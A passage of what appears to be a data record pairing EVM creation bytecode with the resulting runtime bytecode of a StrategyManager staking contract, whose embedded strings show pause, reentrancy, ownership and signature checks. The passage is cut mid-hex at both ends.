1054f578063f698da2514610562578063fabc1cbc1461056a57600080fd5b8063c6656702146104c9578063cbc2bd62146104dc578063cf756fdf146104ef578063df5b35471461050257600080fd5b8063b1344271116100e9578063b134427114610469578063b5d8b5b814610490578063c4623ea1146104a3578063c608c7f3146104b657600080fd5b80638da5cb5b1461040157806394f649dd14610412578063967fc0d2146104335780639b4da03d1461044657600080fd5b80635ac86ab71161019d5780637a7e0d921161016c5780637a7e0d92146103675780637ecebe0014610392578063886f1195146103b25780638b8aac3c146103c55780638c80d4e5146103ee57600080fd5b80635ac86ab7146103015780635c975abb14610334578063663c1de41461033c578063715018a61461035f57600080fd5b80634665bcda116101d95780634665bcda1461028057806348825e94146102bf5780634e5a4263146102e6578063595c6a67146102f957600080fd5b806310d67a2f1461020b578063136439dd1461022057806320606b701461023357806332e89ace1461026d575b600080fd5b61021e6102193660046129e8565b61057d565b005b61021e61022e366004612a05565b610639565b61025a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b61025a61027b366004612a34565b610778565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610264565b61025a7f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922481565b61021e6102f4366004612b45565b610a64565b61021e610a9c565b61032461030f366004612b7e565b609854600160ff9092169190911b9081161490565b6040519015158152602001610264565b60985461025a565b61032461034a3660046129e8565b60d16020526000908152604090205460ff1681565b61021e610b63565b61025a610375366004612ba1565b60cd60209081526000928352604080842090915290825290205481565b61025a6103a03660046129e8565b60ca6020526000908152604090205481565b6097546102a7906001600160a01b031681565b61025a6103d33660046129e8565b6001600160a01b0316600090815260ce602052604090205490565b61021e6103fc366004612bcf565b610b77565b6033546001600160a01b03166102a7565b6104256104203660046129e8565b610bd0565b604051610264929190612c10565b60cb546102a7906001600160a01b031681565b6103246104543660046129e8565b60d36020526000908152604090205460ff1681565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b61021e61049e366004612ce0565b610d50565b61021e6104b1366004612d22565b610ec4565b61021e6104c4366004612d73565b610f18565b61021e6104d73660046129e8565b610fd0565b6102a76104ea366004612dc6565b610fe1565b61021e6104fd366004612d22565b611019565b61021e610510366004612df2565b61114d565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b61025a61054a366004612bcf565b611376565b61021e61055d3660046129e8565b61143d565b61025a6114b3565b61021e610578366004612a05565b6114f0565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190612e63565b6001600160a01b0316336001600160a01b03161461062d5760405162461bcd60e51b815260040161062490612e80565b60405180910390fd5b6106368161164c565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190612eca565b6106c15760405162461bcd60e51b815260040161062490612ee7565b6098548181161461073a5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60985460009081906001908116036107ce5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b6002606554036108205760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b60026065556001600160a01b038816600090815260d3602052604090205460ff16156108c75760405162461bcd60e51b815260206004820152604a60248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207468697264207472616e736665726064820152691cc8191a5cd8589b195960b21b608482015260a401610624565b428410156109495760405162461bcd60e51b815260206004820152604360248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207369676e617475726520657870696064820152621c995960ea1b608482015260a401610624565b6001600160a01b03858116600081815260ca602090815260408083205481517f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922493810193909352908201939093528b84166060820152928a16608084015260a0830189905260c0830182905260e0830187905290916101000160408051601f1981840301815291815281516020928301206001600160a01b038a16600090815260ca9093529082206001850190559150610a016114b3565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050610a44888288611743565b610a50888c8c8c611902565b60016065559b9a5050505050505050505050565b60cb546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062490612f2f565b610a988282611ad1565b5050565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b089190612eca565b610b245760405162461bcd60e51b815260040161062490612ee7565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610b6b611b3f565b610b756000611b99565b565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610bbf5760405162461bcd60e51b815260040161062490612f99565b610bca838383611beb565b50505050565b6001600160a01b038116600090815260ce60205260408120546060918291908167ffffffffffffffff811115610c0857610c08612a1e565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50905060005b82811015610cc2576001600160a01b038616600090815260cd6020908152604080832060ce9092528220805491929184908110610c7657610c76612ff7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610caf57610caf612ff7565b6020908102919091010152600101610c37565b5060ce6000866001600160a01b03166001600160a01b031681526020019081526020016000208181805480602002602001604051908101604052809291908181526020018280548015610d3e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d20575b50505050509150935093505050915091565b60cb546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161062490612f2f565b8060005b81811015610bca5760d16000858584818110610d9c57610d9c612ff7565b9050602002016020810190610db191906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1615610ebc57600060d16000868685818110610deb57610deb612ff7565b9050602002016020810190610e0091906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f4074413b4b443e4e58019f2855a8765113358c7c72e39509c6af45fc0f5ba030848483818110610e5b57610e5b612ff7565b9050602002016020810190610e7091906129e8565b6040516001600160a01b03909116815260200160405180910390a1610ebc848483818110610ea057610ea0612ff7565b9050602002016020810190610eb591906129e8565b6000611ad1565b600101610d7e565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f0c5760405162461bcd60e51b815260040161062490612f99565b610bca84848484611d4c565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610f605760405162461bcd60e51b815260040161062490612f99565b604051636ce5768960e11b81526001600160a01b03858116600483015282811660248301526044820184905284169063d9caed1290606401600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050505050505050565b610fd8611b3f565b61063681611fe0565b60ce6020528160005260406000208181548110610ffd57600080fd5b6000918252602090912001546001600160a01b03169150829050565b600054610100900460ff16158080156110395750600054600160ff909116105b806110535750303b158015611053575060005460ff166001145b6110b65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610624565b6000805460ff1916600117905580156110d9576000805461ff0019166101001790555b6110e1612049565b60c9556110ee83836120e0565b6110f785611b99565b61110084611fe0565b8015611146576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60cb546001600160a01b031633146111775760405162461bcd60e51b815260040161062490612f2f565b8281146112005760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794d616e616765722e61646453747261746567696573546f4460448201527f65706f73697457686974656c6973743a206172726179206c656e67746873206460648201526a0de40dcdee840dac2e8c6d60ab1b608482015260a401610624565b8260005b8181101561136e5760d1600087878481811061122257611222612ff7565b905060200201602081019061123791906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1661136657600160d1600088888581811061127057611270612ff7565b905060200201602081019061128591906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe8686838181106112e0576112e0612ff7565b90506020020160208101906112f591906129e8565b6040516001600160a01b03909116815260200160405180910390a161136686868381811061132557611325612ff7565b905060200201602081019061133a91906129e8565b85858481811061134c5761134c612ff7565b9050602002016020810190611361919061300d565b611ad1565b600101611204565b505050505050565b60985460009081906001908116036113cc5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b60026065540361141e5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b600260655561142f33868686611902565b600160655595945050505050565b611445611b3f565b6001600160a01b0381166114aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b61063681611b99565b60007f000000000000000000000000000000000000000000000000000000000000000046036114e3575060c95490565b6114eb612049565b905090565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190612e63565b6001600160a01b0316336001600160a01b0316146115975760405162461bcd60e51b815260040161062490612e80565b6098541981196098541916146116155760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161076d565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610624565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383163b1561186257604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90611783908690869060040161307a565b602060405180830381865afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c49190613093565b6001600160e01b0319161461185d5760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610624565b505050565b826001600160a01b031661187683836121c6565b6001600160a01b03161461185d5760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610624565b6001600160a01b038316600090815260d16020526040812054849060ff166119a85760405162461bcd60e51b815260206004820152604d60248201527f53747261746567794d616e616765722e6f6e6c7953747261746567696573576860448201527f6974656c6973746564466f724465706f7369743a207374726174656779206e6f60648201526c1d081dda1a5d195b1a5cdd1959609a1b608482015260a401610624565b6119bd6001600160a01b0385163387866121ec565b6040516311f9fbc960e21b81526001600160a01b038581166004830152602482018590528616906347e7ef24906044016020604051808303816000875af1158015611a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a01b0387811660048301528681166024830152604482018490527f000000000000000000000000000000000000000000000000000000000000000016906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8eb2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610624565b6001600160a01b0385163b6129215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610624565b600080866001600160a01b0316858760405161293d919061313e565b60006040518083038185875af1925050503d806000811461297a576040519150601f19603f3d011682016040523d82523d6000602084013e61297f565b606091505b509150915061298f82828661299a565b979650505050505050565b606083156129a9575081611d45565b8251156129b95782518084602001fd5b8160405162461bcd60e51b8152600401610624919061315a565b6001600160a01b038116811461063657600080fd5b6000602082840312156129fa57600080fd5b8135611d45816129d3565b600060208284031215612a1757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060008060008060c08789031215612a4d57600080fd5b8635612a58816129d3565b95506020870135612a68816129d3565b9450604087013593506060870135612a7f816129d3565b92506080870135915060a087013567ffffffffffffffff811115612aa257600080fd5b8701601f81018913612ab357600080fd5b803567ffffffffffffffff811115612acd57612acd612a1e565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715612afc57612afc612a1e565b6040528181528282016020018b1015612b1457600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b801515811461063657600080fd5b60008060408385031215612b5857600080fd5b8235612b63816129d3565b91506020830135612b7381612b37565b809150509250929050565b600060208284031215612b9057600080fd5b813560ff81168114611d4557600080fd5b60008060408385031215612bb457600080fd5b8235612bbf816129d3565b91506020830135612b73816129d3565b600080600060608486031215612be457600080fd5b8335612bef816129d3565b92506020840135612bff816129d3565b929592945050506040919091013590565b6040808252835190820181905260009060208501906060840190835b81811015612c535783516001600160a01b0316835260209384019390920191600101612c2c565b50508381036020808601919091528551808352918101925085019060005b81811015612c8f578251845260209384019390920191600101612c71565b50919695505050505050565b60008083601f840112612cad57600080fd5b50813567ffffffffffffffff811115612cc557600080fd5b6020830191508360208260051b850101111561249d57600080fd5b60008060208385031215612cf357600080fd5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220c44798d4ada1e90848e8d31a2c80c503dc1cf81f9a5671db1af6a45d97d3e5c364736f6c634300081b0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc90000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853", + "output": "0x608060405234801561001057600080fd5b50600436106102065760003560e01c80638da5cb5b1161011a578063c6656702116100ad578063df5cf7231161007c578063df5cf72314610515578063e7a050aa1461053c578063f2fde38b1461054f578063f698da2514610562578063fabc1cbc1461056a57600080fd5b8063c6656702146104c9578063cbc2bd62146104dc578063cf756fdf146104ef578063df5b35471461050257600080fd5b8063b1344271116100e9578063b134427114610469578063b5d8b5b814610490578063c4623ea1146104a3578063c608c7f3146104b657600080fd5b80638da5cb5b1461040157806394f649dd14610412578063967fc0d2146104335780639b4da03d1461044657600080fd5b80635ac86ab71161019d5780637a7e0d921161016c5780637a7e0d92146103675780637ecebe0014610392578063886f1195146103b25780638b8aac3c146103c55780638c80d4e5146103ee57600080fd5b80635ac86ab7146103015780635c975abb14610334578063663c1de41461033c578063715018a61461035f57600080fd5b80634665bcda116101d95780634665bcda1461028057806348825e94146102bf5780634e5a4263146102e6578063595c6a67146102f957600080fd5b806310d67a2f1461020b578063136439dd1461022057806320606b701461023357806332e89ace1461026d575b600080fd5b61021e6102193660046129e8565b61057d565b005b61021e61022e366004612a05565b610639565b61025a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b61025a61027b366004612a34565b610778565b6102a77f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b6040516001600160a01b039091168152602001610264565b61025a7f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922481565b61021e6102f4366004612b45565b610a64565b61021e610a9c565b61032461030f366004612b7e565b609854600160ff9092169190911b9081161490565b6040519015158152602001610264565b60985461025a565b61032461034a3660046129e8565b60d16020526000908152604090205460ff1681565b61021e610b63565b61025a610375366004612ba1565b60cd60209081526000928352604080842090915290825290205481565b61025a6103a03660046129e8565b60ca6020526000908152604090205481565b6097546102a7906001600160a01b031681565b61025a6103d33660046129e8565b6001600160a01b0316600090815260ce602052604090205490565b61021e6103fc366004612bcf565b610b77565b6033546001600160a01b03166102a7565b6104256104203660046129e8565b610bd0565b604051610264929190612c10565b60cb546102a7906001600160a01b031681565b6103246104543660046129e8565b60d36020526000908152604090205460ff1681565b6102a77f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b61021e61049e366004612ce0565b610d50565b61021e6104b1366004612d22565b610ec4565b61021e6104c4366004612d73565b610f18565b61021e6104d73660046129e8565b610fd0565b6102a76104ea366004612dc6565b610fe1565b61021e6104fd366004612d22565b611019565b61021e610510366004612df2565b61114d565b6102a77f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b61025a61054a366004612bcf565b611376565b61021e61055d3660046129e8565b61143d565b61025a6114b3565b61021e610578366004612a05565b6114f0565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190612e63565b6001600160a01b0316336001600160a01b03161461062d5760405162461bcd60e51b815260040161062490612e80565b60405180910390fd5b6106368161164c565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190612eca565b6106c15760405162461bcd60e51b815260040161062490612ee7565b6098548181161461073a5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60985460009081906001908116036107ce5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b6002606554036108205760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b60026065556001600160a01b038816600090815260d3602052604090205460ff16156108c75760405162461bcd60e51b815260206004820152604a60248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207468697264207472616e736665726064820152691cc8191a5cd8589b195960b21b608482015260a401610624565b428410156109495760405162461bcd60e51b815260206004820152604360248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207369676e617475726520657870696064820152621c995960ea1b608482015260a401610624565b6001600160a01b03858116600081815260ca602090815260408083205481517f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922493810193909352908201939093528b84166060820152928a16608084015260a0830189905260c0830182905260e0830187905290916101000160408051601f1981840301815291815281516020928301206001600160a01b038a16600090815260ca9093529082206001850190559150610a016114b3565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050610a44888288611743565b610a50888c8c8c611902565b60016065559b9a5050505050505050505050565b60cb546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062490612f2f565b610a988282611ad1565b5050565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b089190612eca565b610b245760405162461bcd60e51b815260040161062490612ee7565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610b6b611b3f565b610b756000611b99565b565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610bbf5760405162461bcd60e51b815260040161062490612f99565b610bca838383611beb565b50505050565b6001600160a01b038116600090815260ce60205260408120546060918291908167ffffffffffffffff811115610c0857610c08612a1e565b604051908082528060200260200182016040528015610c31578160200160208202803683370190505b50905060005b82811015610cc2576001600160a01b038616600090815260cd6020908152604080832060ce9092528220805491929184908110610c7657610c76612ff7565b60009182526020808320909101546001600160a01b031683528201929092526040019020548251839083908110610caf57610caf612ff7565b6020908102919091010152600101610c37565b5060ce6000866001600160a01b03166001600160a01b031681526020019081526020016000208181805480602002602001604051908101604052809291908181526020018280548015610d3e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610d20575b50505050509150935093505050915091565b60cb546001600160a01b03163314610d7a5760405162461bcd60e51b815260040161062490612f2f565b8060005b81811015610bca5760d16000858584818110610d9c57610d9c612ff7565b9050602002016020810190610db191906129e8565b6001600160a01b0316815260208101919091526040016000205460ff1615610ebc57600060d16000868685818110610deb57610deb612ff7565b9050602002016020810190610e0091906129e8565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f4074413b4b443e4e58019f2855a8765113358c7c72e39509c6af45fc0f5ba030848483818110610e5b57610e5b612ff7565b9050602002016020810190610e7091906129e8565b6040516001600160a01b03909116815260200160405180910390a1610ebc848483818110610ea057610ea0612ff7565b9050602002016020810190610eb591906129e8565b6000611ad1565b600101610d7e565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f0c5760405162461bcd60e51b815260040161062490612f99565b610bca84848484611d4c565b336001600160a01b037f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc91614610f605760405162461bcd60e51b815260040161062490612f99565b604051636ce5768960e11b81526001600160a01b03858116600483015282811660248301526044820184905284169063d9caed1290606401600060405180830381600087803b158015610fb2